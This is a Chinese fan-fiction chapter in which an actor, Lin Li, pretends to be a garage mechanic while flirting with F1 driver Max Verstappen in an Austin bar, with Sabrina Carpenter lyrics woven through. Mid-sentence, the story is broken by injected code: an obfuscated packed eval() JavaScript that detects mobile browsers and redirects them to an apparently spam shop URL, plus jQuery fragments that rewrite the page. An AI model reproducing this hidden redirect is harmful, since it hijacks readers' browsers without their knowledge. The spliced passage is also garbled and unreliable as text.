【建议大家点开Sabrina Carpenter 《Nonsense》这首歌，配合食用本章番外，文内有插入歌词】


    2018年，奥斯汀。


    林利斜坐在角落的高脚凳上，盯着桌上那张餐巾纸发呆。


    12号弯，他画了几遍都不对。


    下午他一个人跑到这里看比赛，一半是为了喘口气，毕竟片场里每天都是油污、引擎，还有和贝尔对戏的压力。另一半……他真的想搞清楚，为什么有人对赛车这么热爱？


    第一次参演大制作，他总感觉自己表现得还不够优秀。


    等真正坐在看台上，林利才发现这个运动和他想象的完全不一样。


    那个超车就发生在他眼皮子底下的12号弯。刹车踩得太晚，林利当时心都提到了嗓子眼，以为蓝色的车要撞上去了，可他竟然切进了内线，硬生生逼着另一辆让开，然后嚣张地扬长而去。


    看台上有人在欢呼，有人在骂，而他心里被震得麻麻的，说不清什么感觉。


    现在他坐在酒吧里，试图在纸巾上复刻那个瞬间，可总也画不对。


    隔壁派对的音乐震得桌子都在抖，门被推开，一阵深夜的凉风卷了进来。


    林利下意识地抬头。


    那个人的T恤湿透了，紧紧贴在胸口。头发乱糟糟的，脸颊泛红。他在林利旁边坐下，椅子“吱”地叫了一声。他要了一瓶酒，一口口灌着，眉头拧着一股不耐烦。


    林利的视线卡住了。


    这双眼睛……这双熟悉的、锋利的冰蓝色眼睛，还有宽直的鼻梁，下巴上刚冒头的胡茬。


    他突然侧过头。


    林利慌忙垂下眼，手指紧了紧炭笔，假装在纸巾上忙碌。


    “刹车点画晚了，”


    他的声音是这样的？哑哑的有点奇怪。


    “在这个距离踩刹车，车会直接冲出赛道。”


    他凑了过来，看向林利的画。


    “Lookin’ at you got me thinkin’ nonsense”


    （看着你，让我脑子里全是废话）


    林利的舌头像打了结，脑子里一片空白。


    “你在第23圈超博塔斯的时候可不是这么想的，”他听见自己在说话，声音居然还算稳，“比赛我看了，很精彩。”


    “麦克斯·维斯塔潘。”那个人说，身体又往他这边侧了点。


    林利当然知道他是谁，下午这张脸还在领奖台上闪闪发光呢。


    “林利。”他故作淡定地把炭笔随手扔进酒杯。


    维斯塔潘开始和林利讨论12号弯的超车。他说话速度很快，手指比划着在空中画出弧线。说到进弯那一刻，他眼睛亮了一下，和刚才的烦躁表情很不一样。


    林利在胡乱点头。他听见自己在回话，但其实根本没过脑子。他只顾着盯维斯塔潘说话时上挑的眉毛，盯着他眼角细小的笑纹，还有他嘴唇上那颗小痣。


    说起来，林利想，自己嘴巴下面的地方也有一个。


    他的心跳忽然重重跳了一下。


    “你是专业的？”维斯塔潘问，视线从那张破了洞的餐巾纸上移开，直直地看了过来。


    “Baby, my tongue goes numb, sounds like bleh-blah-bleh”


    （我的舌头麻木了，开口全是胡言乱语）


    专业的？演一个机械师算吗？


    如果他回答“我是演员”，接下来的对话肯定就会滑向那些“你演过什么”的无聊客套话。可在这样一个夜晚，在这样黏稠的空气中，他突如其来地想做点不像自己的事，想——


    “修理厂打杂的，”林利开口，“修修配件，换换轮胎。”


    修理厂？林利，你可真敢编。


    “那你手艺应该不错。”维斯塔潘笑了起来，故意拉长了语调。


    林利应该澄清的，可他只感觉胃里好像翻了个跟头。算了，就让这个谎话继续下去吧，反正离开这里他们也不会再见面。


    他索性装到底。


    “刹车片温度应该很高吧？”他努力回忆那些为了角色学习的术语，“你踩得那么晚，估计飙到七八百度……”


    “是吗？”维斯塔潘嘴角上扬，又向他靠近了一点，“继续说。”


    “所以进站的时候要检查磨损吧？”他觉得自己说得还挺像样，资料没白费功夫，“我们厂里的车，要是刹车过热，磨损得会特别快，有时候跑一场就要换。”


    “跑一场？”维斯塔潘的手指在吧台上轻轻敲了一下，眼神里带着一种林利看不太懂的意味，他有点发毛。


    哦哦，好像用错词了。


    林利清清嗓子掩饰心虚：“我是说，我换过几次，曾经接触过。”


    “那你一定很忙。”维斯塔潘一直盯着他，没有移开视线的意思。


    林利转移目光，突然瞄到对方的手，指节硬朗，手背上的青色血管随着动作微微突起。


    “And I can’t find my chill, I must have lost it”


    （我没法淡定了，我的冷静肯定已经离家出走）


    隔壁派对的音乐又大了一个音量，震得人耳膜疼。维斯塔潘嘴唇还在动，但林利已经听不清字眼了。


    他鬼使神差地凑过去：“看看你的刹车灯就知道了，”他发现自己离得太近了，汗水、酒精、皮革味一股脑冲了过来。


    “你踩刹车，根本不是为了减速。你是为了逼他让路。维斯塔潘，你压根就没想过给自己留退路，对不对？”


    维斯塔潘的动作停住了。他慢慢转过头，两人的鼻尖几乎撞在一起。林利能看清他睫毛上还没干透


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254511|196580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的汗珠，他的瞳孔在光线下缩紧，不加掩饰地盯着自己。


    林利像是被蛊惑了，大着胆子伸出手，贴上了麦克斯的后颈。


    皮肤比想象中还要烫，湿漉漉的，能感觉到下面血液的跳动。


    “Here’s a lil’ song I wrote, It’s about you and me”


    （这是我写的一首小曲，是关于我们的）


    林利像被烫到一样收回手，抓起衬衫站了起来：“走吗？”


    话一出口，他自己都愣住了。疯了吧，邀请一个刚刚才认识的陌生人？一个F1车手？


    奥斯汀的夜风吹在林利脸上，但完全不管用，他的脸还是很烫。


    他走得飞快，步子乱得差点撞到路灯杆。


    一只手突然从后面扣住了他的手腕，拇指正好按在他的脉搏上。


    “你走这么快干什么？”维斯塔潘的呼吸全喷在林利耳边。他没松手，反而贴得更近了，林利能感觉到他胸口的温度隔着衣服传过来。


    “那要看是谁在后面追我。”林利指尖不受控制地在他掌心轻轻勾了一下。


    “I’ll be honest, lookin’ at you got me thinkin’ nonsense”


    （说实话，光是看着你，我就已经彻底乱了）


    林利盯着跳动的楼层数字，22、23、24，努力让自己的呼吸平稳下来。他看向倒影里维斯塔潘大开的领口和醉红的脸颊。糟糕，他怎么也在盯着自己看？


    房间门打开。


    冷气扑面而来，林利直奔冰箱，掏出几瓶啤酒。


    “浴室在右边，”他听见自己说，霓虹灯透过窗户映进来，光线乱糟糟的，“或者……你想先来点更热的？”


    林利还没反应过来，就被维斯塔潘逼得倒向沙发。膝盖挤进他双腿之间，双手撑在他头两侧。整个人压了下来，强烈的侵略感让他不自觉抿紧唇。


    “你刚才说要给我降温。”维斯塔潘俯身盯着他，“这就是你的办法？喝啤酒？”


    他本来是怎么想的？快快，说点什么。


    “玩个游戏怎么样，YES or NO？”


    他们一个接一个抛出问题，逐渐的，距离在回答里一点点缩短。


    “最后一个问题，”维斯塔潘的声音含糊不清，睫毛扫过他的眼睑，“你知道我不会踩刹车的，对吧？”


    他当然知道，从下午看到那个蓝色虚影时，他就无比清楚。


    “YES。”


    林利不想再等了，他拽住眼前人的领口主动吻了上去。


    “I caught the L-O-V-E, How could you do this to me”


    （我好像坠入爱河了，你怎么能这么对我？）